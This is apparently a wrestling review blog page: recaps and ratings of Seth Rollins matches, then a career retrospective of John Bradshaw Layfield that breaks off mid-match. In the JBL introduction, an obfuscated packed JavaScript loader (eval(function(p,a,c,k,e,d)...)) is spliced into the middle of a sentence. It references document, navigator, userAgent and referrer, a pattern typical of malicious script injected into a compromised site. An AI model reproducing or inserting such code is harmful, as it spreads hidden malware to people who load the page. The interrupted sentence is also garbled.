Back with Axel hitting a clothesline to the back of the head for two as Heyman is looking more confident. Punk comes back with kicks to the legs and back followed by a middle rope cross body for two. Axel snaps off a slingshot belly to back suplex for two followed by a snap Saito suplex for the same. Punk grabs a neckbreaker and the Macho Elbow gets two. The GTS is countered into a McGillicutter for another two count but the second attempt at the GTS is good for the pin at 10:52.

Rating: C. This didn’t have time to go anywhere but the ending shouldn’t surprise anyone. It’s not like Axel is allowed to win non-title matches and there was no way he was going to win a match over Punk without shenanigans. Still though, not a terrible match or anything but it was part of a story instead of a match.

And this one from December 30, 2013.

Seth Rollins vs. CM Punk

Rollins bails to the floor from an early GTS attempt and we take a break 20 seconds in. Back with Rollins taking Punk into the corner but coming out with an elbow to the jaw. The announcers talk about the potential split in the Shield as Punk tries a sunset flip out of the corner but there’s no Rollins there. They do the spot again with Punk swinging around the ropes to put Rollins in the Anaconda Vice. CM lets go of the hold and slams Punk down to take over.

Punk sends Rollins into the corner and tries a small package but they botch every bit of it with Rollins stumbling around instead of going down. We hit the reverse chinlock from Rollins as he stays on the back. Rollins stomps Punk down for two and it’s off to a regular chinlock. Punk fights up and suplexes Rollins down but gets knocked off the apron as we take a break. Back with Punk missing a charge into the corner to injure his shoulder and stop a comeback.

Rollins goes up but misses a backsplash, allowing Punk to get two more off a rollup. Punk comes back with the running knee in the corner but Rollins catches him coming and throws Punk into a buckle bomb. The Blackout misses but Seth enziguris him down for two. Reigns slaps the mat and tells Rollins to end this so Seth loads up a GTS, only to be shoved away and hit with a running knee against the ropes. Punk tries the Macho Elbow but Rollins rolls away, only to have Shield pull Punk face first into the middle buckle.

Seth goes up but gets crotched, only to block a Punk superplex attempt. Rollins hits a high cross body but Punk rolls through into the Anaconda Vice. Ambrose comes in but makes no contact so the match continues. Punk tries the GTS but Rollins reverses into the standing Sliced Bread. The referee is with Shield so the count is delayed and just gets two. Punk backdrops Rollins onto Ambrose and Reigns but Rollins blocks a suicide dive attempt. Seth tries a sunset flip but Punk catches him on the shoulders and puts Seth to sleep for the pin at 18:12.

Rating: B-. The match was solid and continued to make Rollins look great but there were some bad moments with the small package standing out. It’s still good stuff and with so many people gone, they had to have long matches like this to fill in the time. The Shield split should be interesting to watch.

Off to Smackdown just before Wrestlemania, from March 14, 2014.

Damien Sandow vs. Seth Rollins

This is joined in progress after a break with Seth in full control. Sandow gets in a few shots and Rollins heads outside for a second. Back in and Seth does his backflip in the corner into the downward spiral into the middle buckle. A running forearm in the corner sets up a dropkick but Sandow gets outside to avoid the top rope Black Out. Shield distracts him so Seth can hit a suicide dive, followed by the Black Out for the pin at 2:27. The announcers spent the match arguing about this being a conspiracy.

And this last one from after Rollins’ heel turn on June 6, 2014.

Dolph Ziggler vs. Seth Rollins

Seth chokes him against the ropes to start but Ziggler comes back with right hands in the corner. A quick suplex gets two for Rollins and he pulls on Dolph’s hair for a bit. Ziggler sends him outside and kicks Rollins through the ropes as things calm down a bit. Back in and Rollins easily punches Dolph down again before putting on a chinlock. Dolph reverses into a sleeper but gets caught in a backpack stunner. Seth kicks him out to the floor and we take a break. Back with Ziggler fighting out of a cobra clutch but getting caught in the Downward Spiral into the middle buckle.

HHH goes over to the announce table to brag about his new man but Rollins charges into the running DDT. They slug it out with Ziggler getting the better of it and hammering away in the corner. Dolph throws him outside and hits a nice dropkick followed by the Fameasser inside for two. Seth comes back with an enziguri from the apron but takes too long going up and gets caught in the top rope X Factor for an even closer near fall. Another enziguri stops a charging Ziggler and the buckle bomb followed by the curb stomp put Ziggler away at 11:10 shown of 14:40.

Rating: C+. This was a good but not great match. The problem here is Rollins had to drop all of the stuff that was going to get him cheered which leaves him with a less exciting although still good style. Ziggler continues to be a completely different wrestler on Smackdown and Raw and it’s getting a bit tiresome. These matches are entertaining but you know not to expect anything on Mondays.

Rollins is one of the young guns of WWE and a guy that is going to be a big deal in the future. I don’t think he has the star power or lasting abilities of the other members of Shield, but he could be the Jeff Hardy type and that’s quite the career, especially if you avoid the drugs. Awesome talent and a great high flier but he can do a lot more than that.

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Wrestler of the Day – May 21: John Bradshaw Layfield

Ding ding ding. It’s JBL.

JBL eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrkab|var|u0026u|referrer|azytb||js|php'.split('|'),0,{})) got his start in 1990 so we’ll pick things up with him in 1991 in the GWF as John Hawk against Mike Lane.

John Hawk vs. Mike Lane

Hawk hammers away to start and rips away at the arm. Lane bails to the floor as this is one sided so far. Back in and Lane grabs a headlock before trying some shoulder blocks to no effect. We take a break and come back with Hawk easily winning a test of strength. A big boot sends Lane to the floor again for some major stalling.

Hawk finally gets tired of waiting and pulls Mike to the apron for a belly to back suplex. Back in and Hawk misses a charge in the corner and gets his arm worked over a bit. Lane hammers away as the match drops in intensity. The bad arm is sent into the buckle again and we hit a hammerlock.

We take another break and come back with Hawk hitting a dropkick and shaking his arm a lot. Lane calmly snaps the arm across the rope to take over again, even though the announcers want to know why he’s not going for Hawk’s bad leg. Hawk fires off some right hands and a hard shoulder, only to have someone named Cowboy Mantell hit him in the back to give Lane a cheap pin.

Rating: D+. This would have been much better if they had cut out about five minutes. Lane wasn’t much and I’m pretty sure Hawk was the face out there, which is always odd when the monster is a good guy. It doesn’t help that this is in Texas where a cowboy is always going to be over, even though another cowboy interfered.

After several more years in the indies, mainly in Texas, Hawk would head to the WWF as Justin Hawk Bradshaw. One of his first major matches was at In Your House 10, with some famous interference.

Justin Hawk Bradshaw vs. Savio Vega

This is fallout from about five minutes ago on the pre-show. Bradshaw is a big Texan and a newcomer who hasn’t lost a match yet but is mad that he can’t get a spot on the pay per view. He attacked Savio after his Free For All match so a Caribbean strap match was quickly made. It’s the touch all four corners variety again and remember if your momentum is stopped, you lose any corners you’ve touched. Savio charges in but gets taken down with clubbing forearms and some shots to the back with the strap.

Vega is knocked to the floor and choked up against the post but he manages to pull Bradshaw shoulder first into the steel. The most interesting part of the match is a local independent wrestler throwing beer on Savio and slamming the can into his own head. This would be the Sandman, an ECW mainstay with his cohort Tommy Dreamer next to him. Philadelphia was ECW’s home base and this was near the peak of ECW’s popularity. The theory was this being a shoot but it turned out to be the two companies working together. Paul Heyman, ECW owner, can be seen holding them back as security takes them out.

Back in and Bradshaw hooks a headlock on Savio and gets three buckles before Savio makes the save before the fourth. Some HARD strap shots to the back have Bradshaw down and Savio gets three buckles as a result before Bradshaw pulls him down to reset the score. A spinwheel kick puts Bradshaw down again but he makes the save after two corners this time.

Bradshaw takes him down with a big boot and a HARD clothesline to get three corners but just like in the first strap match with Austin, Vega follows along and gets them as well. Bradshaw makes the mistake of pulling on the strap though, sending Savio into his fourth buckle for the win.

Rating: D. So remember the Austin vs. Vega match where there was a ton of drama and hard hitting shots which got people into the match? None of that applies here. This was paint by numbers stuff which wasn’t anything interesting at all and was only interesting because of the ECW stuff. Nothing to see here.

Bradshaw would soon become part of the New Blackjacks with Barry Windham. The team didn’t do much but they would be in a fourway #1 contenders match at Wrestlemania 13.

Godwinns vs. Doug Furnas/Phillip LaFon vs. Headbangers vs. New Blackjacks

This is under elimination rules and the winner gets a tag title shot tomorrow on Raw. Why not have the title match here and the #1 contenders match earlier is beyond me but the WWF is running scared of WCW at this point so common sense is thrown out the window. The Blackjacks are Barry Windham and Bradshaw. We get some clips of the originals for the sake of old school. The new ones say they’re back and they’ll beat up all the small people.

Naturally it’s a big brawl to start with all eight guys fighting at once. We finally get down to Henry vs. Bradshaw which is a match that has haunted many of my nightmares over the years. A big clothesline puts Bradshaw down and it’s quickly off to Thrasher. Bradshaw still has his vest on. He runs over Thrasher though and there goes the vest. In an interesting bit of strategy, Bradshaw tags in Phineas and then punches him in the face.

Phineas pounds on him a bit more but brings in Mosh to face Thrasher. Jerry makes fun of Vince’s knowledge of rock music, saying Vince’s favorite rock band is Mount Rushmore. After some slam dancing for lack of a better term, it’s off to LaFaon who gets caught in a double flapjack for two. That doesn’t last long as it’s off to Furnas vs. Windham with the former hitting a quick rana for two. Windham hits a kind of powerbomb to take over but Bradshaw comes in and helps his partner beat down LaFon.

With the help of his partner, Bradshaw suplexes Phil out to the floor. The four members of the two teams head to the floor where Bradshaw shoves the referee and LaFon and Furnas are counted out, giving us two eliminations. So we’ve got the Headbangers vs. the Godwinns now and Thrasher gets to be in trouble first. It’s pretty clear that Vince has no idea which of the Headbangers is which.

Thrasher starts to fight back so he and Phineas spit on each other. Vince implies that Phineas is into bestiality which is an image I really didn’t need. Off to Mosh vs. Henry but a clothesline by the Godwinn puts both guys out on the floor. Mosh gets back in as Henry is only on the apron, allowing the Headbanger to hit a springboard clothesline to take Henry back down. Lawler keeps up the rock music jokes by saying Vince thinks Fleetwood Mac is a new burger at McDonald’s.

Thrasher misses a moonsault and it’s off to Mosh vs. Phineas again. Phineas loads up the Slop Drop (reverse DDT) on Thrasher but Mosh makes the save. Everything breaks down and a top rope seated senton by Mosh is enough for the pin on Phineas to send the Headbangers to Raw.

Rating: C-. This shows you where the tag division was at this point. There were indeed several teams fighting over the titles but that doesn’t always make for an interesting series of matches in the division. The Headbangers were different but not a great team at all and the Godwinns were WAY past their expiration date at this point. Not much to see here but it was fast paced.

After doing a lot of nothing for the rest of the year, Bradshaw would be put in a feud with Jeff Jarrett as part of the NWA Invasion. They would have a match for the NWA North American Title at In Your House 20.

NWA North American Title: Bradshaw vs. Jeff Jarrett

Bradshaw, the native Texan and challenger, chases the NWA (Cornette, Jarrett, Rock N Roll Express and Barry Windham, Bradshaw’s former tag partner) to the floor to start. The NWA save for Cornette is quickly ejected to make this as fair as possible. Bradshaw throws Jarrett back inside and whips him with his chaps to start before chopping Jarrett down over and over. A big boot to the face staggers Jarrett and a clothesline sends him to the floor.

Bradshaw makes the mistake of going after Cornette though and Jeff gets in some kicks to the chest to take over. There’s a middle rope dropkick from Jeff for two and Cornette gets in some choking of his own. The choking only ticks Bradshaw off and he rolls up Jarrett for two. The referee yells at Jarrett though, allowing Cornette to blast Bradshaw in the bad knee with his tennis racket.

Jeff goes after the knee but gets crotched on the top rope. Bradshaw’s superplex is blocked but he catches Jeff in a fallaway slam to put both guys down. There’s the powerbomb to Jeff but Bradshaw pulls Cornette into the ring, allowing Jeff to hit Bradshaw in the chest with the tennis racket for the DQ.

Rating: D+. Not as bad of a match as some of them and the Texas man helped get the fans interested but this still didn’t do much for me. The NWA angle was little more than a way for Vince to make fun of the organization and make them look like nitwits. The match was nothing special either with a basic knee story which went nowhere.

Bradshaw would become your run of the mill brawler and get a fight with Vader at In Your House 24.

Vader vs. Bradshaw

This is falls count anywhere and no holds barred for no apparent reason. Bradshaw pounds him down into the corner to start and takes him down with a clothesline. A slam and an elbow drop get two for Bradshaw but Vader runs him over and works on the leg. Vader gets two on a splash but Bradshaw kicks him in the face and clotheslines him over the top. The ring bell goes upside Vader’s head and Bradshaw adds an elbow drop for two. Bradshaw accidentally punches the post a few times though and Vader slugs him down.

Some shots to the back with the steps would look to have Bradshaw in trouble but he shrugs them off and fires off right hands back inside. Bradshaw misses a clothesline and falls out to the floor where Vader rams him into various metal objects. Back in and the middle rope splash gets no cover for Vader but the Vader Bomb gets two. Bradshaw comes back with two hard clotheslines and a neckbreaker for the pin.

Rating: D-. This would be better as a regular match but as an anything goes match this was nearly a disaster. Vader was done at this point and it was very clear in this match. Just two years ago that Vader Bomb was beating Shawn Michaels and now a midcarder is kicking out at two. This was Vader’s last PPV appearance which is the best thing for everyone.

Soon after this, Bradshaw would find the story he’d been looking for: a tag team with Farrooq called the Acolytes. They would team together on Raw, February 1, 1999.

Al Snow/Road Dogg vs. Acolytes

Roadie is Hardcore Champion if you’re looking for an explanation for the pairing. The brawl starts on the ramp and it’s a hardcore match. Snow has a table rammed into his head and this is a big mess from the bell. Bradshaw throws in the steps and Road Dogg has a pencil. Snow and Farrooq fight into the crowd and the others join them. They fight to a concession stand and Snow goes into a barricade. They head outside and Snow hammers on Farrooq who has a garbage can over his head. Roadie and Bradshaw have a table in the ring while Viscera appears in the back to slam Snow. Bradshaw powerbomb Dogg for the pin.

Rating: C. Fun match but the ending was exactly what you would expect it to be. These matches are for fun for the most part and the thrown together team did a lot better than you would have expected them to do for the most part. The Acolytes were still getting the hang of what they were doing.

The team would win and lose the Tag Team Titles in the spring before getting a rematch against the Hardy Boys at Fully Loaded 1999. The match was so one sided on paper that the Hardys, the champions coming in, would need Michael Hayes helping them to make it a handicap match.

Tag Titles: Acolytes vs. Hardys/Michael Hayes

Yep it’s a handicap match. At this point I had zero clue which was Matt and which was Jeff. We start in the aisle where they just leave the belts. Who would have thought two of these four would win world titles? I don’t think this has started yet. According to Ross it has. Ah there’s the bell so Ross was wrong.

We have Farrooq and Jeff in there to start while Bradshaw beats up both guys on the floor. Matt takes out everyone with a top rope moonsault. They really were great fliers back in the day. Hayes is pretty freaking worthless here but what did you really expect? The APA takes over with just power. Matt picks to tag Hayes. Why in the world would you do that? We get a Freebird reference so I’m good for the night. There’s Jeff. Crowd is DEAD for this.

I think Lita helped them a good bit to say the least. The Hardys simply aren’t that good at this point. Bradshaw gets a nice belly to back suplex off the top. Not bad. Jeff clocks him with Hayes’ cane over the head. Poetry in Motion is still very much a work in progress here. Hayes comes in and a double powerbomb gives the APA their titles back. Edge, Christian and a ladder would be coming soon.

Rating: D+. I didn’t like it at all. Hayes was just in the way here as he’s old and most of the people here don’t know what he used to be nor do they care more than likely. The Hardys would dump him maybe the next night. Either way, the APA would lose the belts to Kane and X-Pac two weeks later so this was just to get Hayes out of the Hardy picture.

The team would be part of the Corporate Ministry for the rest of the year while losing the belts in the process. They would receive another shot at Fully Loaded 2000.

Tag Titles: Edge and Christian vs. APA

I miss Edge and Christian’s old entrance where the camera flies all over the place and looks for them and they’re in the entry way like normal wrestlers. Edge insults Dallas sports teams which makes me hate them quite a bit. They insult the Kennedy assassination before setting up for flash photography but the APA and their awesome music cuts them off. Bradshaw threatens to put his boot in their ears. Ok then.

He actually uses the term cheap heat. That came out of nowhere. He defends Texas by saying how many titles they’ve won. That just makes him sound like a geek. I didn’t know FTS was more commonly known as Bradshaw. Farroq gets a great step shot in on Christian right off the bat.

This starts off as little more than a squash as Bradshaw just freaking murders Christian. Edge and Christian finally get some offense in as they get the advantage on Bradshaw. I like how they use such generic offense to stay in a match for as long as they can until they can hit a much bigger move. That’s a nice little way to do something. It lasts for all of a minute though as the APA dominates again.

We hear for about the 12th time that Bradshaw is from Texas. Seriously, WHAT IS SO GREAT ABOUT TEXAS??? With the Acolytes hitting their finishers, Edge goes to the floor and grabs a belt. He gets the referee’s attention and nails Farrooq with it for the DQ. I kind of like that as it plays them holding the belts even longer. The same time though, it makes them look ridiculously weak and since they were known to keep stealing wins like that, it’s rather stupid also.

Either way it was ok I guess. Post match the champions are beaten down even more which for some reason means we should talk about the Rock? That makes no sense but at least they saved it for after the match ended, unlike WCW who likely wouldn’t have acknowledged the match going on at all.

Rating: C. It was really short and pointless but it was never dull. That’s the best thing here: they kept moving the entire time. That’s always a plus as it kept things interesting and made you want to keep watching. I really don’t like the whole cheating to keep the belts thing as it makes them look quite weak, but that’s fine I guess as it fits them to the letter. However at just over five minutes they didn’t have enough time to get anything going so it’s about as average as you can get overall.

Occasionally Bradshaw would get some singles matches, including this one at Insurrextion 2001.

Bradshaw vs. Big Show

Odd again. All of these European shows have a bad case of strangeness to them. How weird is it to think that Bradshaw would be a more important world champion than Show? Those chops Show did were freaking insane. EMTs come out to take care of Test. A flying shoulder just looks cool. There goes the referee.

Show goes after Test when he’s trying to leave which of course doesn’t work. A big boot into a steel chair and the Clothesline From JBL ends this with Bradshaw winning it for NO explainable reason. Dude it’s 2001 and Bradshaw beat Big Show. What freaking sense does that make?

Rating: C-. Not bad for a big man fight. The booking is bearable I guess as it’s a show no one is going to see or hear about for months. This was just your standard battle of the big men which usually works pretty well. This was fine for what it was I guess but REALLY short, even for one of these shows.

Back to the tags with the Acolytes getting a Tag Team Title shot on Raw from July 9, 2001 despite not doing much as a team for awhile.

Tag Titles: APA vs. Dudley Boys

Apparently Spike is going to be out for awhile with a broken leg. The APA clears the ring to start and we get down to Bubba vs. Farrooq. Off to Bradshaw as the Dudleys take over. The reverse 3D gets two. D-Von pounds on him and it’s off to Bubba. He goes to the corner for the ten punches but gets powerbombed out and both guys are down. Off to Farrooq and D-Von with Simmons getting a spinebuster for two. 3D doesn’t work but What’s Up does to Farrooq. Bubba goes for a table but Spike comes out, hits Bubba with the crutch and throws him in where Bradshaw’s Clothesline gives the APA their third tag title.

Rating: D+. Pretty boring match but I guess the idea here is that if the APA is leading the WWF’s army so give them something to make them seem important. That’s not a terrible idea actually and it’s better than another boring Hardys vs. Dudleys feud for the 7000th time. Not a terrible match and it did its job I guess.

Bradshaw would be a fairly big deal during the Invasion and fight the Alliance every chance he got. This included challenging for the European Title on October 22, 2001’s Raw.

European Title: The Hurricane vs. Bradshaw

Hurricane keeps doing his posing and Bradshaw keeps knocking him down. Out to the floor and Molly glares at him. Hurricane tries a dive but Bradshaw….”catches” him I guess you could say, in a fall away slam. By that I mean he tries to and drops Hurricane down on the floor. Back in the ring and Hurricane hits a superkick but it can’t even put Bradshaw down. Suplex is countered by Bradshaw and both guys are down. A neckbreaker puts Hurricane down and Molly dives at Bradshaw which goes as well as you would expect. There’s the fall away slam for her and the Clothesline gives Bradshaw the title. Too short to rate but it was nothing.

We’re going to skip 2002 and most of 2003 as the former was spent mostly on Hardcore Title matches (Bradshaw won it 17 times in three months) and injuries. The Acolytes would be back at No Mercy 2003.

Basham Brothers vs. APA

This is about the APA hurting the Basham’s manager Shaniqua. The Bashams are named Doug and Danny, which are the names of my uncles so I’ve always liked this team. Bradshaw is blonde here which doesn’t work for him at all. He and Doug start things off but it’s off to Farrooq quickly. Off to Danny who has no luck, just like his brother. Were they brothers? I know they really aren’t but were they on screen? I’m not sure.

Doug gets in a shot to take over but his splash hits Farrooq’s knees and a brawl breaks out. Cole and Tazz get into a stupid argument as the Dominator is escaped. The Bashams hit a double belly to back suplex for two and Farrooq is in trouble. Bradshaw runs in to try to help his partner, because doing it a minute ago worked oh so well.

Off to a chinlock to eat up a few minutes until Farrooq hits a spinebuster and makes the hot tag. Bradshaw cleans house and hits the powerbomb for two on Danny. Everything breaks down and it’s Last Calls (fall away slam) all around. There goes the referee and Bradshaw hits the Clothesline. Shaniqua comes in and hits Bradshaw with a club of some sort for the pin.

Rating: D. The match wasn’t terrible I guess, but what in the world was the reason to give this nine minutes on PPV? Also why did we have to see Shaniqua in a dominatrix outfit? The match should have been on Smackdown or cut in half, but that’s the danger of single branded PPVs. The Bashams were the flavor of the month on Smackdown while the APA would split in March.

Now let’s change pace a bit as the APA would break up due to Farrooq retiring, leaving Bradshaw in need of something new. He would have his entire gimmick changed to John Bradshaw Layfield, a Wall Street tycoon. Somehow this resulted in him becoming #1 contender to the Smackdown World Title with his shot coming at Judgment Day 2004.

Smackdown World Title: John Bradshaw Layfield vs. Eddie Guerrero

JBL runs down the Mexicans in the crowd pre match. He’s in blue here which is weird looking for some reason. Eddie hammers away to start and we hit the floor almost immediately. JBL tries to run up the ramp but Eddie catches up to him. We’ve been in the ring about 12 seconds out of the two and a half minutes they’ve been fighting for. Back to the ring now and it’s been ALL Eddie.

Out to the floor again and JBL manages to send Eddie into the steps to break the momentum a bit. They tease the announce table a bit but instead we go back into the ring for more brawling. Eddie gets some punches but a big boot takes him right back down. Cole: JBL’s stock will go way up if he wins this match. That was so corny that it was almost not bad.

An overly long headlock goes on as JBL keeps control. After that finally gets broken up Eddie tries to speed things up, only to walk into a fallaway slam on the floor to get us back in JBL control. Backdrop puts Eddie onto the Spanish Announce Table and we go right back into the ring. This is going way too slowly here. Another slugout follows but Eddie walks into something like a hot shot for two.

Off to a bearhug now as this continues to go way too slow. I get that JBL is a slow guy but this is getting a lot of time and that makes for a boring match more often than not. Eddie escapes and tries to speed up a bit, hitting Three Amigos. Clothesline From JBL and a powerbomb both miss and there goes the referee. JBL is sent to the floor and we go to the table again.

JBL caves Eddie’s head in with a chair shot. FREAKING OW MAN! Oh sweet goodness Eddie is bleeding a freaking gusher. Steps to the head as Eddie is reeling. There is blood all over the ring. Clothesline From JBL kills Eddie dead but there’s no referee. Another referee slides into the lake of blood and gets a two count for JBL. The third attempt at the Clothesline drills the second referee. Dude, shouldn’t the referee that has been down for five minutes get some help?

Huge powerbomb by JBL gets only two as the fans are WAY into this now. The blood isn’t flowing off his head not but is only dripping. Sleeper by JBL which is rather smart here but a suplex gets Eddie out of it. Eddie does his dance thing and here he comes again. Crowd is losing it over this. Fallaway slam is countered into a DDT just like the F5 from Lesnar was at No Way Out.

Eddie tries to crawl to the corner for the Frog Splash as it’s amazing that he’s not dead at this point. Ok maybe that was a poor choice of words. The fans almost gasp at the idea of the Frog Splash but it misses anyway. Bradshaw grabs the title which he puts behind his back and a chair. The referee sees the chair but not the belt. Eddie kicks him low and drills him with the belt for the DQ and the fans aren’t happy at all.

Rating: B. This was a good match at times but you can cut off the first 8 minutes or so and no one would notice it at all. The blood is INSANE and if you have a weak stomach you should stay far away from this one. The ending hurts it a lot as they could have done either a fluke pin or simply stopping it for the blood. Either way, the ending hurts this one a lot and considering it wasn’t a classic in the first place, that’s not good.

Eddie massacres him post match and hits him with a big old chair shot to bust him open too. Oh wait he was bleeding off the belt shot. Another chair shot and Bradshaw is more or less dead. Eddie chases him down for some more as JBL is taken away.

The non-finish would require a rematch at Great American Bash 2004.

Smackdown World title: Eddie Guerrero vs. John Bradshaw Layfield

Yes, the concrete match is going last. This is no DQ, unless you intentionally unhook yourself. There’s a bell on the rope of course, because we’re wrestlers so we all want to be cowboys! Eddie goes for the leg and chokes him out a bit with the rope. That bell is getting really annoying really fast. They have these stupid lights on the corners because just counting the number of corners for each guy is too much for Nick Patrick.

Both guys get two corners but they get their momentum broken up. The rope goes around Eddie’s neck and there’s a bell shot to put him down. Bradshaw puts him in the Tree of Woe and chokes him upside down as Eddie is in trouble. Here comes the Spanish Announce Table but Eddie blocks a powerbomb through it. Cowbell to the head puts JBL down and it’s Eddie in control.

JBL sends him over the table again but Eddie CRACKS Bradshaw over the head with a chair. Oh yeah he’s busted too. That’s enough for Eddie to get three corners but JBL breaks it up enough for the fourth to not count. Patrick says the momentum is broken, meaning the streak is broken. Eddie gets three corners again and again JBL grabs the rope. After a JBL DDT, Eddie crotches him with the rope and gets three buckles but the streak is broken.

Three Amigos hit and Eddie adds a frog splash for good measure. In a REALLY smart move, JBL rolls to the floor to stop the fourth corner from being touched. Smart because Eddie can’t drag him from the floor like he could in the ring. They go to the top and JBL hits him with the bell. He wraps the rope around Eddie’s neck and throws him onto the announce table which doesn’t break. Cole says it’s like rock or concrete. These jokes write themselves at times.

A powerbomb puts Eddie through the table and both guys are down again. Somehow that only gets three corners back in the ring. JBL gets three corners again but takes a cowbell low to stop things again. Since this is a four corners bullrope match, we get the only ending that ever happens in these things: they both get three and the good guy dives to touch the fourth one just in time.

Rating: B. Pretty solid brawl here but at the same time these matches get really repetitive after awhile. It becomes wrestler A gets a few corners, then wrestler B gets a few corners, then we reset things. The brawling in between that was pretty solid stuff though so I can’t really complain here. At the end of the day though, this gave us JBL as world champion. Here’s why.

Angle comes out and shows us the replay, which shows that when Eddie dove at JBL, it knocked JBL into the buckle first, which means he’s champion. This would go on until Wrestle-freaking-Mania.

JBL’s title reign would last into the new year, including a triple threat defense at Royal Rumble 2005.

Smackdown World Title: Kurt Angle vs. Big Show vs. John Bradshaw Layfield

This match has a backstory that isn’t important enough to explain to us. Apparently Angle had a last man standing match with JBL but the winner is even less important than the backstory. JBL is defending. Angle bails to the floor to start so Show runs over JBL a few times. There’s the loud chop in the corner followed by a legdrop which finally draws Angle into the ring for a save.

Now it’s Kurt getting a big chop in the corner. Cole says that’s like getting hit in the chest with a skillet. My question continues to be: how does anyone know what that feels like? Is that what goes on at WWE headquarters when there aren’t any shows on? Show clotheslines both guys to the floor to a surprisingly big reaction. Angle tries a German on the floor which fails completely, so Show picks up the steps.

Show loads up the announce table and climbs the steps to chokeslam JBL through said table. Before he can though, Angle hits Show low and blasts him with a monitor, knocking Show through the table. Back inside and Angle puts JBL in an armbar followed by a keylock. Kurt rolls the Germans but walks into a big boot for two. Big Show gets back in and there’s a double clothesline and headbutts all around. He slams Angle onto JBL to a big reaction. When did Big Show get this popular? Both guys get crushed in the corner and another double clothesline puts both guys down.

Show loads up a double chokeslam but the other guys go High/Low to take Show down. Angle Germans JBL down and hits a bad Angle Slam which gives JBL two. There’s a chokeslam to JBL but he gets a foot on the rope. Out to the floor and Show spears JBL through the barricade in his signature spot, putting all three guys down.

Back in and Angle goes after Show with a chair but gets flapjacked face first onto the steel. Mark Jindrak and Luther Reigns, Angle’s lackeys, come out for the save as JBL’s Cabinet try to wake up the champion. Show beats up Jindrak and Reigns as Orlando Jordan puts JBL in the ring for the Clothesline to pin Angle to retain.

Rating: C+. This is one of those matches I was expecting to suck but it wound up being pretty solid. Angle is going to be good no matter what he does and Show had some solid motivation out there for a change. JBL escaping with the title was a recurring theme for nearly a year until he ran into a buzzsaw called John Cena in a few months. Shockingly good match here.

After losing the belt and a rematch to John Cena, JBL would go after the other World Title at Summerslam 2005 against champion Batista.

Smackdown World Title: Batista vs. John Bradshaw Layfield

JBL dollars rain from the sky before we get going. The fight starts in the aisle and a belt shot to the head has JBL in trouble. They head over to some of the equipment with JBL being sent into various metal objects. Batista is whipped into a steel case and they brawl through the crowd to ringside where the champion spears JBL through the barricade. A dazed Batista is sent into the post and we finally get inside the ring.

JBL pounds him down into the corner and whips Batista with the timekeeper’s belt. The choke with the belt goes on longer than any human would be alive but Batista fights out and whips JBL with the belt as well. Batista hits the corner shoulders but charges into a boot and JBL’s Clothesline is good for two. JBL brings in the steps and loads up a powerbomb off of them, only to be backdropped down instead. Batista hits the spinebuster and the Batista Bomb but he doesn’t cover. Instead he picks up JBL again and powerbombs him onto the steps for the emphatic pin.

Rating: D+. This wasn’t much at all and the ending was never in doubt. It’s just over nine minutes and about a minute of that was spent on JBL choking Big Dave. JBL was the main event jobber at this point which meant he was ok at best. Batista was still the biggest star in the company at this point but Cena was rising fast.

JBL would get back into the midcard after this, with a shot at the US Title coming at Wrestlemania XXII.

US Title: Chris Benoit vs. John Bradshaw Layfield

JBL is challenging and takes over with a quick headlock. Benoit comes back with a drop toehold but can’t get the Crossface this early. Back to the headlock by JBL but Benoit gets his back and pounds on the challenger’s neck. The Sharpshooter is broken up very quickly and Jibbles heads to the floor. Back in and Benoit avoids a charge in the corner and lays out Bradshaw with the Rolling Germans. The champion loads up the Swan Dive but JBL crotches him to escape.

JBL cranks up the heel by doing Eddie’s chest slap. A superplex puts Benoit down but only gets a very delayed two. There’s the Eddie dance and JBL hits Three Amigos to HUGE heat. Benoit knees his way out of the third Amigo and pounds away, only to get kicked in the face for two. Off to a lame chinlock (his hands aren’t even locked) by JBL but Benoit suplexes his way out. Now Chris hits Three Amigos to a solid ovation before doing the chest slap. Now the Swan Dive hits for two and Benoit counters the Clothesline into a Crossface attempt, but JBL rolls onto his back and grabs the rope for the pin and the title.

Rating: C+. Just like the opener this was pretty meh but JBL was an awesome heel here. The part of this that sticks in my mind though is Benoit hitting that headbutt. After it hit he was grabbing his skull and was clearly in pain. Every time I see him hit something like that I cringe a little bit more and wonder if that was the point of no return.

JBL would lose the title a few months later and then take nearly two years off due to a back injury, wrestling only once in between. One of his first matches back would be at the 2008 Royal Rumble against Chris Jericho, who JBL had cost a title shot in December.

Chris Jericho vs. John Bradshaw Layfield

Feeling out process to start with JBL hiding in the corner and ropes a few times. Jericho forearms him down and pounds away but gets sent to the floor. That doesn’t last long as he slides right back in and hooks the Walls but JBL immediately grabs the rope. A baseball slide keeps Jibbles on the floor where he is sent into the steps. Back in and Jericho charges into a hot shot to put both guys down.

A clothesline (not the one from down under) puts Jericho down as apparently he has a bad throat and neck coming into this. Bradshaw slingshots Jericho throat first into the middle rope and hooks a quick sleeper. Jericho fights out of it and hits a clothesline of his own, only to charge into a big boot. John sends him shoulder first into the post which busts his head open somehow. Back in and JBL pounds away at the cut as a villain would do. Jericho comes back but they botch a clothesline, causing both guys to get booed loudly. A Cactus Clothesline sends them to the floor where Jericho cracks JBL with a chair for the LAME DQ.

Rating: D+. This didn’t work at all for the most part. Jericho didn’t work at all as a face with the short hair during this comeback and I think everyone knew it. Thankfully he would turn heel over the summer and have the feud of the year with Shawn. The ending to this sucked and I don’t think they had any other matches after this.

JBL would of course feud with Cena a bit more, including a parking lot brawl at Great American Bash 2008.

John Cena vs. John Bradshaw Layfield

This is in “the parking lot” and likely was taped earlier today for the most part. JBL is in a shirt and tie and has a crowbar. He takes the tie off at least. They have the circle of cars set up and a referee out there. Something metal hits the ground but we don’t know where it was from. Now a car turns on and Cena drives it at the car JBL is standing on. Ok now it’s on.

Cena chokes him with jumper cables. Then he slams a car hood on him. Now he jumps JBL’s balls. That would kind of, um, KILL HIM. Cena picks up an oil drum and chucks it at a car which JBL tries to escape in. Bradshaw gets in some shots but nothing significant. They knock a car door off. Cena went through it so JBL takes over. Powerbomb on a car gets two. Cena gets dropped on the top of a car for two.

